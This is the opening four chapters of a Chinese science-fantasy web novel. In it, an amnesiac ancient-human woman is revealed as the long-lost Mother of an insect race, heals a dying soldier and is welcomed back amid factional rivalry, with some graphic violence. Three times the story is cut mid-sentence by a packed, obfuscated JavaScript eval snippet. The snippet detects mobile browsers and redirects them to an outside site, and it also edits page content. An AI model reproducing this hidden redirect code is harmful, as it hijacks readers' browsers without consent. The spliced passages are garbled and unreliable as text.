《赝品虫母她不爱了》 1. 苏醒 星历三十五年,奥瓦里安。 休眠舱进入奥瓦里安上空,受磁场干扰,摇摇晃晃地坠落在银色沙漠之上。 于此同时,镌刻着几个扭曲标准星语的飞船停在上方。 “老大,下面是奥瓦里安。”驾驶员西里急停,没有下一步动作,额头却渗出几滴汗。 “蠢,奥瓦里安早就废弃了,你怕什么?”边上的人极高,一拳锤在西里的脑袋上,抢过操作台,直接降落。 他们从飞船上下来,才看见原先被磁场隐去的画面。 银色沙漠上静静矗立着一个早已淘汰的休眠舱,奥瓦里安没有旧地球的月亮,这是整个星际都知道的常识。 可是伊恩看了眼休眠舱里的人,惊觉月亮沉睡在此处。 及腰的黑发如海藻般垂在身侧,她闭着眼睛,睫羽如阖上的小扇子,是吟唱的海妖,又是高高在上的天女,是妻子又是母亲。 毫无疑问,这是一个古人类,一个早就消失在星际长河之中的种族。 传说他们极爱艺术,也擅战争,血水与和平一同奔涌至文明的尽头。 古人类对其他种族来说,或许意义非凡,但对濒临精神崩溃的兽人而言,只是能够送进研究所换取信用点的商品。 他低头一看,西里的兔耳朵早已兴奋地竖起,“老大,我们有救了。” 女人正在此刻苏醒,她遗忘了所有,来自何方,去往何处,唯独记得莉莉亚三字。 她想或许我是莉莉亚。 莉莉亚的手轻轻抬起,休眠舱就自动打开,她走了下来。 伊恩没想到这竟然是一个活着的古人类,脸上露出难以抑制的贪婪,这该是多么伟大的发现。 古人类消失在群星五百年后,新生的族群进化出精神力。神在恩赐的同时也埋下死亡的种子。无论什么种族,都无法逃脱精神狂化的命运。 古人类作为唯一不受精神狂化影响的种族,成为研究的焦点。他们脆弱无比但不受命运的戏弄,联邦曾颁布法令,任何种族都对古人类文化残留负有保护责任。 但此刻,这只意味着,眼前这个柔弱的女人,不可能逃出他的掌心。 西里干脆化出半原型,左右摇晃耳朵,笑嘻嘻开口:“我们来接你了。” 他觉得自己像古人类喜欢的萌兔子,可落在莉莉亚眼中,便是一个人身兔头的诡异存在朝她发出奇怪的声音。 她看着伊恩的眼睛,知道自己绝不能让他们靠近,于是转身向后面跑去。 奥瓦里安的银色沙漠并非生而有之。虫母离开后,银背艾蛛一族无法忍受母亲的离去,无法不依靠母亲生存,于是他们化作银沙,将灵魂留在母亲曾经生活的地方。 上一任虫母舍弃了虫族,她出走的理由是要寻找自由的荒原。虫族感到愧疚、惶恐直至愤怒,他们失去了母亲,母亲抛弃了他们。 可失去母亲的种族是没有航行方向的,在等待了一千年纪后,上一代虫族绝望地消失在奥瓦里安。 莉莉亚突然感觉脚下的银色沙漠开始流动,像一滩粘稠的血水,将她往下拽。 她向前跑去,直到坠落。 身后的伊恩看着那个女人的身影,也看着原本平静的沙漠开始蠕动,吞噬了她。 * 一阵窒息,莉莉亚的胸膛不停起伏,不可名状的存在一遍又一遍包裹她的身躯。 像顽皮的孩子得到了心仪的玩具,却不知如何表达喜欢。只能遵从本心,不断吞噬,让她与自己一同存在。 在永远沉睡之前,她猛然睁开眼睛,入目却是黑暗。 无止境的黑暗。 漆黑浓稠的液体在她身边缓慢流动,吞噬她的身体又在下一秒退去,流连在她的黑发间,周而复始。 黑暗之中,一团血雾笼罩在她的小腹,莉莉亚伸手想要挥散,那红雾却想拥有意识,百折不挠,不断消散又不断重生。 终于,那红雾吸附在她的腹部,生出无数吸盘一般,牢牢守护这里,像孩子眷恋地把脸贴在母亲的小腹。 那是他们出生的地方,宇宙浩瀚无垠,唯此归途。 那是他们离死亡最近又最远的地方。 “你属于谁?”幽远的声音传来,莉莉亚从未听过这样的语言,却奇异般地理解了。 “我属于我自己。”她觉得困顿,轻轻阖上了眼睛,却将双手交叠,放在小腹之上。 她依稀听见。 “你可以属于任何人,但永远不会属于自己。” “我亲爱的, 玛提亚·杰内特瑞克斯。” * 伊恩看着陷入沉睡的女人,在那片沙漠如海般澎湃时,他不曾想过自己竟能活着离开奥瓦里安。 西里高兴道:“我们就是活下来了,还有比这个更真实的吗?” 文明演进至今,生存仍是第一要义。 他的眼睛呈现宝石般的光泽,红得像血,一动不动地盯着沉睡中的莉莉亚:“她竟然也活下来了。“又将目光转向飞船外,跃迁点就要到了,他们就能活下去了。 星际种族研究所不是听上去这般冠冕堂皇,它向整个星际开放,所有种族都能将自己见过的、探索到的新奇种族报备到此处。 若是被星际种族研究所鉴定评级,投放者能获得丰厚的信用点奖赏,换取精神抚慰药剂。 伊恩他们送来过无数猎物,可是毕竟能力有限,能找到的不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460467|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是些老弱病残的种族遗民,怎么可能通过得了高级鉴定。 至于那些被他们送来的交易品,无人在意,被留在那里等死,星际风暴一吹,就化作尘埃飞向宇宙。 “伊恩,这回又送来什么垃圾?”巡视的机器人早已进化出情感,戏谑地看向他们,可它的眼睛是金属制成,露不出不屑,只显得滑稽。 西里扯开一个巨大的笑脸,得意洋洋。 机器人却抢先道:“不管是什么都比不上刚刚送进去的。” 他说完停顿了一下,模仿知识库中所谓的吊胃口,斜眼看着他们,又一字一顿道:“虫——族——。” 伊恩猛地看向西里,四目相对,皆是恐惧。 自虫族失去虫母,新的秩序早已建立。 他们拥有宇宙间最精密的虫巣思维,传言中,他们的意识自诞生之处就去往虫巢思维,成为它的一部分。 传说中,虫母是虫巢思维的核心,她能听见子民最隐秘的心声,能感知子民最狂热的爱。 不可质疑,不可背叛,不可饶恕,不可思想。 即使虫母消失,虫族也从并未就此沉寂。他们仍然是嗜血的民族,天生的战士,所有的荣光只为虫母欲望所指。 没有人知道虫族何时会挥剑星际,更没有人知道自己是否有一战之力。 究竟是什么人,竟敢捕猎虫族,竟能捕猎虫族! 理智告诉伊恩,他们应该立马离开,生与死只会在这个虫族的一念之间。 可精神狂化已经容不得他退缩,他们不只是为了自己才昧着良心做这般事情。伊恩抹了把头上的冷汗,稳住自己有些颤抖的脚,有人在等他们回家,他必须活下去。 西里足够冷静,却还是颤抖着把背上的休眠舱取下来,他挤出一个笑容:“我们要见博士。” 他开启休眠舱,莉莉亚正静静躺着,那些浓稠液体已经渗入她的体内,化作她的骨血。 白瓷般的脸颊爬上两抹红,近乎透明的手交叠在腹部,仿佛一心保护孩子的圣母。 机器人看过去,眼睛立马变成感叹号,它看到了什么? 一个古人类,一个古人类雌性,它遥远的创造者。 机器人很高兴:“天呐,伊恩!天呐,伊恩!” 这是他表达兴奋的专属方式,他看出伊恩的顾虑:“别担心,那只是一个低级虫族。”又拍了拍金属胸脯:“我们会保护所有交易者的。” “现在,把她交给我吧。”机器人小心翼翼地关了休眠舱,要去寻找博士。 西里不愿意,要夺回休眠舱,却被伊恩拦住:“冷静,待在这,让他去。” 他们抱着手站在交易厅,等待着换取信用点。 2. 召唤 交易厅中站了许多人,各种族群都有,仔细看去,身上都涌动着精神力。 西里的兔耳被人扯住,他下意识反击,就挨了一拳:“小子,收了你身上的骚味。” 那是一个白虎兽人,稍一用力,就把西里的耳朵扯下来,随意地扔在地上。 血止不住地向外喷涌,空气中的精神信息素更加浓烈,所有人都蠢蠢欲动,想要杀死对方,安抚心中的暴虐,就连伊恩都红了眼睛。 他强忍着愤怒,攥紧拳头:“私自斗殴,你是想做下一个实验品了?” 白虎兽人嗤笑一声:“你以为那个虫族是谁抓来的。” 他们整整埋伏了一年,折了近百人才有机会抓住那个虫族。 即使到现在,他也不愿相信,这个让他付出这般代价的虫族只是最低等的侦察兵。 与生俱来的作战天赋,堪称可怕的战斗意识,这样的敌人如果只是其中最低等的存在,那么星际如今的和平就如同薄纸一般,一击即碎。 只要虫族想要征伐,整个星际都会成为他们的战利品。 传说他们这个种族精神力强大坚韧,最重要的是,稳定安全,鲜有暴动。 白虎从前并不相信,觉得不过是大话罢了,怎么可能存在不受精神暴动影响的种族。 可现在,他恨得要命,神在创造这个种族的时候未免太过偏爱。 第一个兽人进化出精神力时,他们以为会开启属于他们的伟大时代。可随之而来的精神暴动却是悬于头顶的达摩克利斯之剑,只等他们登上最高位时,收割所有荣光。 这些虫族,不受精神暴动影响,却只因为失去虫母而堕落,让人不耻。 想要征伐的种族被命运剥夺权力,只会喊妈妈的种族却拥有不愿珍惜的天赋。 这不公平。 他愤怒地砍断这个虫族的羽翅,如同疯子一般将他的皮肉凿开,甚至硬生生扯出他的内脏,然后狞笑着把诱导剂倒进去。 不是天之骄子吗?不是神的宠儿吗? 现在,让他们也尝尝精神暴动的滋味。 * 白虎越发肆无忌惮地释放自己的精神力,交易厅内的兽人承受不住,跪了一片。 他们并非无力反抗,浑身的骨骼都在叫嚣着杀出去,杀了他。可理智告诉他们,这样做的话,谁都活不了。 他是千百年间第一个捕猎虫族的存在,交易所或许会卖他一个情面,但绝不会顾及他们这些人的生死。 白虎兽人睁着一双宝蓝的眼睛,倨傲地看着所有人。 伊恩只能把西里护在身后,沉默地忍受着羞辱。 他们看向白虎的眼神里都是不甘、屈辱、愤怒,还有想要与之一战的决心。 可是下一秒,这个倨傲的人被硬生生截断了双膝,来不及惨叫,就直直跪下,血水横流。 整个交易所都被一股强大的、目中无人的精神力控制。 吾所在之地,岂有不跪之人? 蛮不讲理但是让人不敢生出一丝反抗之心,白虎只是愚蠢地耀武扬威,但这股力量却是真正地蔑视一切。 是那个虫族。 * 莉莉亚在深深的黑暗中听见 妈妈—— 他在呼唤谁? 谁在呼唤我? 她睁开眼睛,循着声音的方向走过去。 此时的交易所早已一片死寂,每个人都趴在地上,连呼吸都不敢太重,竭力降低自己的存在感,害怕死亡降临到他们身上。 很明显,那个被狩猎的虫族选择了精神力自爆。 虫族是绝不容许背叛的族群,哪怕他们之间从生至死都不曾有过兄弟情谊,但对虫母的忠诚刻在他们的基因之中,他们不会容许背叛,更不会容许自我背叛。 交易所的科学家早就想要研究虫巢思维,这样精妙绝伦的意识集合体只出现在虫族身上。 无论他们如何设想,如何模拟,都无法创造出只忠于一人的王者之师。 那个虫族听着他们的计划,垂眸。没有种族可以理解他们,没有种族可以拥有他们这般的忠诚。 可任何危及虫母的存在都要被抹杀,任何危及虫族的敌人都要被灭亡,这是虫族战士永远的荣光。 现在,他要去追随虫母了。 废墟之中,唯有莉莉亚还站立着,慢慢地朝深处走去。 那些不敢动弹的兽人都能感知到,一片死寂之中,竟然有人要进入那个中心。 伊恩想拉住她,那股肆虐的精神力并不随着主人的垂死而消散,反而愈发可怕,这不是她这样弱小的古人类可以抵挡的。 他不明白自己为什么会担心这个初见不久的女人,就好像生来应该为她付出一切一样,他想要抚平她眉间的哀伤,阻拦所有袭来的风雨。 可是兽人从不曾有这样的感情,也不该有这样的感情。 她那样脆弱,还没靠近那个虫族,就会被这暴虐的精神力无情撕碎,化作虚无。 伊恩没有力气阻止,只能趴在地上看着这个女人走向死亡。 他已经闭上了眼睛,盘算如何带着西里逃走。 所有人屏住呼吸,等待着身体撕裂,骨头粉碎的声音传来,就连眉头都已经早早蹙起。 任何设想的场景都没有发生。 那个女人平稳地走近了那个虫族所在的地方。 他们面面相觑,不可思议般地看着对方,内心狂喜,以为威压已经结束,却在尝试移动的瞬间被抹杀。 恶意绕开那个女人,却还是朝他们袭来。 * 莉莉亚的意识不算清醒,爆炸之初,她觉得自己应该马上逃走。 可就在她转身时,她听见一声“妈妈”,于是她停下了脚步,朝最危险的中心走去。 这一路上净是残肢断骸,就连那个机器人也被炸得粉碎。莉莉亚甚至不去思考,只是朝声音的方向走去,即使踩在尖锐碎片上也仿若不觉。 她又一次看到那团红雾,那霸道可怕的精神力冲击在触碰到她时戛然而止,像是贪恋温暖的孩童,萦绕在她的身边,却不敢靠近。 半跪在地上的少年,身形高大,被砍断的翅翼血迹斑斑,无不在昭示着这是一个强大的战士。 他锐不可当,他冷硬绝情,可是莉莉亚却觉得他只是一个需要被保护的孩子。 他有漆黑的发,五官隐在阴影之中,唯有几缕来自她所站之地的光落在身上。 莉莉亚一步一步走向他,那少年的血流了一地,半抱着手臂,也不去管被生生撕裂的腹部,只是静默地垂着脑袋,对她的靠近无知无觉。 虫族是最敏锐的种族,作为虫族的侦查军,他的感知力甚至能够超过王座上的那几位。 可是现在,他一无所知。 步步靠近的女人身上散发着一股熟悉的气息。好像生命初始,他就被这气息围绕着,可是他已经失去这个气息很久了,久到快要遗忘这般气息,久到身上只有森森杀戮血气。 莉莉亚心底涌出一股难过,他不认识我吗?我不认识他吗? 少年活不了多久,他的任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460468|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经完成,支离破碎的精神海即将枯竭了。 他半阖着眼,静待死亡降临。 此后,他的意识会最后一次回归虫巢,回归母亲的怀抱。 莉莉亚不知道应该怎么做,她只知道自己不会让眼前的人死去。 如同山间最纯洁的精灵,她轻巧地寻找陈列着的药剂。可药剂早碎了一地,她皱了皱眉,捧起那淡蓝色的药剂,凑近鼻尖嗅嗅,高兴地转向那个少年。 寂静笼罩着这座研究所,暴动的精神力生生把最新式武器都难以撼动的建筑掀了大半。 这个身穿素色长袍的女人慢慢靠近那个半跪的少年,她如绸缎般的乌发落在腰间,眼睛如同泡在水中的黑曜石,湿润地看着少年。 她的唇紧抿着,眉间满是忧愁,直到那少年终于能饮下药剂,才轻轻卸了哀伤。 莉莉亚还是感觉不到他的生机,她要失去他了吗? 不,不可以。 妈妈要保护好每一个孩子。 少年已经失了神志,只是那气息太过美好眷恋,让他愿意顺从。 他的舌头布满细细的倒刺,一点点舔过莉莉亚的手,不痛,却痒得她想要缩回手。 可是妈妈的职责告诉她,不可以拒绝孩子们的请求。 她只是站着,如同惊醒一般看向自己胸前,可是她还太小,不能哺育她的孩子。 莉莉亚想着,咬破了自己的手指。鲜血自指腹涌出,她把手指探进他的口中。 那个少年浑身一震。 ——妈妈。 少年身上的伤口飞快痊愈,腹部的创伤肉眼可见地消失,脖颈处的虫纹泛出金光。 虫母的血液是最好的补品,让他无视先天的基因,一跃成为高等虫族。 于此同时,虫巢思维。那个即将消散的光点陡然间发出巨大的光芒,纯洁柔和的光像古树深藏地底的脉络,瞬息之间,包围了整个虫巢,而后汇集在未曾刻画面目的虫母塑像脚下。 他们并非未曾察觉那个光点的消散,早在自爆之前,这个虫族少年就将所有信息上传。 虫巢思维中的每一个虫族,都知道他即将死亡,却没有任何的波动。 虫族会杀死所有威胁者,灭亡所有觊觎者,这条路上,牺牲在所难免。 他们不会对兄弟的死亡感到悲伤,正如他们不会对自己的死亡感到悲伤。 从诞生开始,就注定要用生命捍卫虫母的荣光。 亿万光年之外,虫巢中的他们却在此刻感知到高等虫族的诞生,震惊地看着彼此。 唯有虫母能够诞育高等虫族,他们的复眼飞快转动,口器隐现,狂喜不止。 妈妈! 妈妈! 妈妈! 眼前的少年,终于皱起眉头,狰狞得失了美感。 莉莉亚感受到他的哀痛,泪水仿佛是从她心底涌出的,源源不断地钻进眼眶,她喃喃道:“我应该怎么做?” 他仍半跪着,缓慢而虔诚地将右手放在胸前,这是一个标准的臣服仪式。 新生的高等虫族在感恩母亲的恩赐,可他小小的,心软的母亲却觉得他在等待一个拥抱。 于是她上前,伸手拥抱这个新生的孩子,柔软的手指虚虚抚摸他的黑发。 那个少年像是受到了巨大的冲击,却还是顺从本能,将脸颊紧紧贴在妈妈的小腹,贪婪地掠夺母亲的气息。 他的听力极其敏锐,能听见妈妈轻轻的呼吸,数着她的心跳声。 妈妈拥抱了他。 他被妈妈拥抱。 3. 分裂 上任虫母出走之后,新一代的虫族从未见过母亲。 没有虫母的抚育,这些虫族只能艰难求生。 明明是拥有顽强生命力的种族,却是十不存一。 甚至出现了前所未有的精神狂化,早不是所谓的神之宠儿。 他们那时才明白,曾经的强大是因为虫母的存在,她只是存在着,就抵御了侵袭而来的风雨。 千年间,新的秩序已被建立。不是按照虫母所赐予的天赋排序,新的秩序在战争与牺牲中重塑。 不断的流血杀戮,才让虫族势力一分为三,以新奥瓦里安为中心,三条星线层层拱卫。 * 虫巢思维在沉寂千年之后首次颤动,却是宣告虫族之主的回归。 新奥瓦里安。 “奥格尔,这就是你说的伟大转折。”光幕中的人一身军装,金色绶带自左肩隐入右腰,随意坐着,架着长腿,却透着摄人杀气。 他那双黄金瞳敛着,似笑非笑地看着光幕另一边的人:“看看你们现在的样子,像狗一样,召之即来,挥之即去。这是你们的作风,不是我的。” 说完就将手中的匕首一掷,那匕首极度锋利,竟然直直地嵌进地面:“可我会亲手杀了她。” 奥格尔迅速看向一旁沉默的男人,他在感知到虫母回归时摘下的军帽已经重新戴上。 阿拉里克,现任虫族执政官,心思缜密,算无遗策,星际中众所周知的操心师。 即使听到这般大逆不道的挑衅也没有动怒,阿拉里克笑道:“塞尔托里乌斯阁下,您不如好好祈祷她愿意给您一个活下来的机会吧。” 没有虫族能够杀死自己的母亲。 他们不曾试过,甚至从未这般想过。 塞尔托里乌斯挑眉,懒得同他演这虚情假意的忠臣戏码:“我倒要看看,等她剥夺思想,养一群废物的时候,你还能做执政官吗?” “陛下尚未进入成熟期。” 完成蜕化的虫母才真正拥有这支无冕之军,阿拉里克看出来了,也挑明了。 他有些期待,虫族沉寂无聊了这么久,也该玩一些游戏了。 至于那位陛下,活着也罢,死去也罢,都算有趣。 “你倒是名副其实的虚伪。” 剑拔弩张,一发千钧。 下一瞬,画面却仿佛禁止了一般。 咄咄逼人的激进派、虚伪隐藏的温和派都无法动作,又或者说不愿动作。 母亲的拥抱通过虫巣思维,以前所未有的速度笼罩着他们。 三线之内,无论拼死训练的战士还是秩序井然建造星舰的工匠都如同被震慑般停下。 这些战争机器变了眼神,复眼不停转动,像涌出粘稠情欲般转向虫母所在的方向。 奥格尔按在剑上的手不断硬质化,他竭力克制,却还是无法抵抗。 为什么会是这样的感觉? 竟然是这样的感觉。 温暖潮湿,明明不是虫族会习惯的温度,却让他们紧绷的神经得到短暂的停歇,这是永远闻不够的母亲的味道。 他们的口器尽显,不断耸动,甚至抱怨共感者的弱小,否则母亲的体温和声音能够加真实。 但这已经足够了。 失去母亲的虫族终于明白这千年来失去了什么。 他们开始理解为什么上一代虫族选择自我灭亡,成了旧奥瓦里安的尘土。 如果一直以来被这般拥抱着,某一天却被宣判流放,失去母亲,他们一定会绝望到选择杀戮或者死亡。 没有人可以拒绝母亲的怀抱。孤独的虫族在宇宙间漂泊千年,终于迎来了唯一的母亲。 等到奥尔格稳下心神再次看向光幕中的暴君时,已看不出他的神色,却能看见藏在金发间的绯红耳朵。 他想,虫族伟大的转折真的来临了。 * 莉莉亚坐在尤安的肩上,好奇地观察周围的一切。 那个虫族少年抱着她时,她的心如融化的蜜糖甜蜜,轻捧起他的脸,看着他的眼睛:“尤安,你就叫尤安。” 她尚不会虫族的语言,却能轻易与他交流。 母亲与孩子之间总是仿佛有一套专门的语言,无需学习,无需熟练,自诞生开始就注定习得。 因为那条无形的脐带一直存在,它连接母亲的小腹和每一个孩子。 尤安展开翅翼,请求她允许他的护送。 莉莉亚摇摇头,笑着说:“我想看这个世界。” 于是高大的少年深俯下身子,前倾,伸出手,轻托着她的脚,让她坐在自己肩头。 莉莉亚醒来时只穿着一袭素色长袍,鞋早在逃跑时遗失,落在旧奥瓦里安的银沙之上。 现在,即使隔着一层薄布,虫族少年也能清晰地感受到虫母的温度。 事实上,直到现在他都不算清醒,原本应该回归虫巢的他,忽然听见母亲的呼唤,嗅到母亲甜腻的味道,于是在生与死的边界选择停留在世间。 他要坠落了,可这个弱小的女人接住了他,于是他选择留下。 尤安带着莉莉亚,不敢随意跃迁。他能承受跃迁时的冲击,却不敢让虫母有一丝一毫危险的可能。 有些虫族却肆无忌惮地使用虫母赋予的天赋,以最快的速度赶来,他们坚硬挺拔,语气严肃:“大人有令,主星暂封,陛下只需跟随我们。” 身上墨绿军装昭示了他们的身份,这是战场暴君塞尔托里乌斯的先卫士官团。 他们的翅翼尚未收起,复眼繁密,却不敢直视坐在肩上的女人。 尤安退后一步,他清楚这位战场暴君对虫母的不屑与恨意:“可是主星一直等到陛下的回归。”他的左手已经化剑,翅翼敛起,轻轻围在莉莉亚身边,不敢真正触碰。 士官团追随塞尔托里乌斯征伐星际,几乎是从尸山中走出来的军人。他们亲眼见过虫母给虫族带来的灾难,亲身忍受了千年的精神狂化,不再抱有希望时,她却突然出现了。 有人忿然:“难道这样就可以原谅她吗,你们忘记了之前的虫族是怎样死去的吗?我们已经不需要虫母了。” 可仅仅一个拥抱就止住了他们的不满,千年的等待一时轻如鸿毛。 “我们不会伤害陛下。”他们喃喃道。 “但他会,你们能保证杀死他吗?”尤安寸步不让,横刀劈去。 他毕竟是新生的高等虫族,又要护着莉莉亚,不敢全力。士官团中的一位却是经验丰富的战士,直接以手接刀,却忽视了眼前的人已不是低等的侦察兵,他拥有了虫母赐予的天赋,顷刻间血流如注。 莉莉亚闻见血的味道,用力拨开挡在眼前的翅翼,身上被机器人临死前装上的视讯旋枢却在此刻激活,主动飞离。 塞尔托里乌斯还坐镇第二星线,他确实不能离开此处,却也能取了她的性命。 那闪着银光的匕首在空中划出一道漂亮的弧度,见他们竟然犹豫,他有些不悦:“不过新生虫族,杀了无妨。” 无人知晓,那被激活的视讯枢纽已经展开,全盘记录此刻的场景。 早在研究所覆灭时就焦急等待的研究员们迅速收集资料,目不转睛地盯着实时传输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460469|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的画面。 虽说虫族足够神秘,值得研究,但此刻,他们的眼睛离不开那个安静的女人。 她那么单薄,那么脆弱,黑色长发,眼睛也是黑色的,但是嘴唇失去了血色,看上去是娇嫩的百合。 为首的博士恨不得亲自前往,把她带走。 可是现在,他只能坐在这里,看着虫族相斗。 这群战争疯子一言不合,连同族都杀。 尤安早已斩断对手的刀,意欲斩首。身后的虫族也只是看着,并不出手相助。伤害虫母已是违背内心,更是做不出围攻行径。 那个虫族俯身,生生受了一刀也将剑刺入尤安腹中,正欲上挑,划开他的腹腔。 一只素白的手却在此刻伸了进来,世界仿佛静止一般,刚刚肆动的精神力也瞬间消散。 早在拨开翅翼之时,尤安就把莉莉亚放下,将自己的翅翼斩下一半,垫在她的脚下。 莉莉亚不知何时靠近,竟没有一个虫族反应过来。 她只是踮起脚尖,抬手。 那个杀红了眼的虫族望进她的眼神,下意识屈膝,朝圣般垂下高傲的头颅。 她轻轻摸了摸他的头发,开口却已是虫语:“妈妈不喜欢打架的宝宝。” 研究院破译了虫族的语言,自信可以完整理解。 可这千年来,虫族不曾唤过母亲。 所以他们只能听出这个柔弱到不堪一击的女人说自己不喜欢打架,却无法翻译出最重要的那个词语。 所有研究员的心高悬,博士更是急得团团转,神经质般地探出自己的八只触手,冲着视讯喊道:“谁管你喜欢不喜欢,虫族可不会看在你是古人类的份上放过你。” 战场却在此时寂静无声,那个被她触碰的虫族甚至忍不住显出自己的原型,慌忙藏起钢铁利爪,怕惹得妈妈厌恶。 莉莉亚眨眨眼,对着他身后站着不敢与她对视的虫族说:“要做乖宝宝,对吧?” 研究院的众人目瞪口呆,所以,虫族竟然是这样的种族吗?他们之前的研究全部错误? 看看这些恨不得装作此前从未厮杀的虫族,真的是那群战争机器吗? 还是说,这个古人类有什么特殊之处。 思及此,博士脸上露出痴迷,不惜透支精神力,八只触手疼到打结,也要疯狂道:“如果虫族愿意交出这个古人类,联邦愿以格尔涅星系交换。” 他的精神力跨越时空,来到此处,声音显得嘶哑疯狂,偏执可怕。 莉莉亚听见了,黯淡了眼神,她已经发现眼前的孩子们不喜欢她,看到尤安身上的伤更是红了眼眶,只是默默抓紧他的衣角。 她尚未成熟,上任虫母又摧毁了传承记忆,记忆中只想一个声音:做一个好妈妈,永远和自己的孩子们在一起。 她害怕孩子们离开,细长的手指下意识抓住尤安的军装,微微弯曲,骨节处洇着点淡粉,在颤抖。 在场的虫族看到母亲这般,又闻到她身上悲伤的气息,只是埋怨自己不够强大,不能逆转时空,不让这等妄言进入她的耳朵。 塞尔托里乌斯看在眼里,只觉得好笑:“在心疼什么,我看她待会儿就会命令你们滚开。”却放下腿来,收起一副看戏的闲散模样,他竟然也在等待一个回答。 莉莉亚鼓足勇气,从尤安背后探出头来:“我不能离开我的孩子们。” 她并没有说不会离开,而是说不能离开,好像一旦离开虫族,她就无法独立生活。 她承认,她与虫族一体共生。没有什么比母亲亲口承认依赖更能令虫族目眩神迷。 4. 回归 塞尔托里乌斯是最先从震撼中清醒过来的,若非他的精神狂化不断恶化,不能随意离开,绝对会撕裂时空,亲手了结莉莉亚。 可莉莉亚身边的虫族已经被驯服了,尽力遏制自己的丑态,不让显化的虫族外表吓到她。 他们那么丑陋,她却如此圣洁,怎么可以吓到这个小小的妈妈呢?这比杀死他们还让人绝望。 可复眼还是忍不住齐齐转向她,一动不动,只能看见她的存在。 莉莉亚小脸上全是担忧,低着脑袋,没有看见他们的眼神,只是静静等待孩子们的审判。 从她真正诞生起,总是听见有声音呼唤母亲。 那时她尚未明白,此刻却愧疚于孩子们长久的等待。 自认为犯了错的母亲对孩子们百依百顺,希望弥补他们曾受过的伤害。 所以当莉莉亚敏锐地感知到他们的热烈、不顾一切的爱意时,抬起头看向那个视讯旋钮,一字一句:“我不能离开我的孩子。” 士官团中最认可这次行动的虫族暗自通讯长官:“抱歉,我想我们无法违逆虫母。” 一声凄厉惨叫划破时空传来,尤安已经俯身轻轻捂住莉莉亚的耳朵,他们并不知道原因。 可士官团的虫族却心知肚明:塞尔托里乌斯,这位誓要杀死虫母的暴君,隔着亿万光年,亲自惩罚了那个大逆不道的冒犯者。 至少此刻,全体虫族静候母亲的回归。 * 主星,又或者说是新奥瓦里安,虽然明面上未如此冠名,可虫族私底下都是这般称呼,他们愿意用这样的称呼昭示与母亲的联系。 奥瓦里安在虫语中是母神的子宫。 传言他们都来于此,那是每个虫族诞生的地方,那是离伟大母亲最近的地方。 母亲赋予了他们生命,诞生之后,虫族应该为了母亲战斗,为了母亲的生存而生存。 即使三大势主中唯有卡尼菲克斯仍然保留对虫母的无限忠诚;阿拉里克游离不定,无人知道他的真心;塞尔托里乌斯离经叛道,直言不讳对虫母的不满。 但是虫族总是爱着母亲的,他们安慰自己,守卫着的主星就是新奥瓦里安,是母亲归来时封赏他们的家园。 由暴君塞尔托里乌斯、执政官阿拉里克和统帅卡尼菲克斯组成的三道星线,被誉为直到宇宙尽头也屹立不倒的存在。 数百年前,虫族一改曾经暴虐杀戮的形象,开始活跃于政坛之上。 联邦各国原以为不过是一群不自量力的粗人,却被这个一贯笑着的执政官坑得不敢吱声,只能打碎牙往肚子里咽。 每一个见过他的外交官都无颜面对本国子民,却忍不住为自己辩解:“虫族那个执政官根本不是什么简单角色,你们自己见了就明白之前的轻蔑多招笑了。” 总有自不量力的国家想要通过已有的地位拿捏虫族,可无一例外,都会铩羽而归,灰溜溜地将这位执政官列入一级戒备名单。 强者为尊却是亘古不变的真理,执政官阿拉里克的政治手腕、博弈头脑在被其他国家忌惮的同时,也被列入教科书,推崇为新星际政治之光。 此刻,这位政治之光脸上的笑意史无前例的真实,颇有兴味地感慨:“看来主星确实要迎来君主了。” 他的心腹克制不住激动,在得知母亲即将归来时,露出了自己的口器,却在阿拉里克看过来的一瞬间收敛,低下头来:“长官恕罪。” 阿拉里克倒不惊讶,他从未相信过虫族能够真正反抗虫母。 即使是塞尔托里乌斯,这样离经叛道的存在,不也难以拒绝虫母。 他随手正正军帽,抬脚往外走:“去迎接我们伟大的母亲吧。” * 莉莉亚受了心伤,难过得不想去看这个宇宙。乖乖被尤安抱在怀里,闭着眼睛靠在他的胸膛之上。 她自然不会注意到身旁的虫族幽暗嫉妒的目光,如果是自己被母亲发现了,是不是也能得到这样的依赖。 他们甚至不想嫉妒尤安轻易完成了等级进化,这和拥抱虫母相比,简直不值一提。 并非高等级的虫族就拥有和母亲相处的权利,虫族一直以虫母为尊,而虫母的意愿高于一切。 虫族历史中不乏受到虫母青睐的低等虫族,那些处处得势的高等虫族就算恨得咬碎了口器,也无可奈何,只能自我安慰好歹只有自己能让虫母受孕。 士官团是从战场上杀出来的人,一贯的严格纪律,此刻却忍不住去看被抱在怀中的女人。 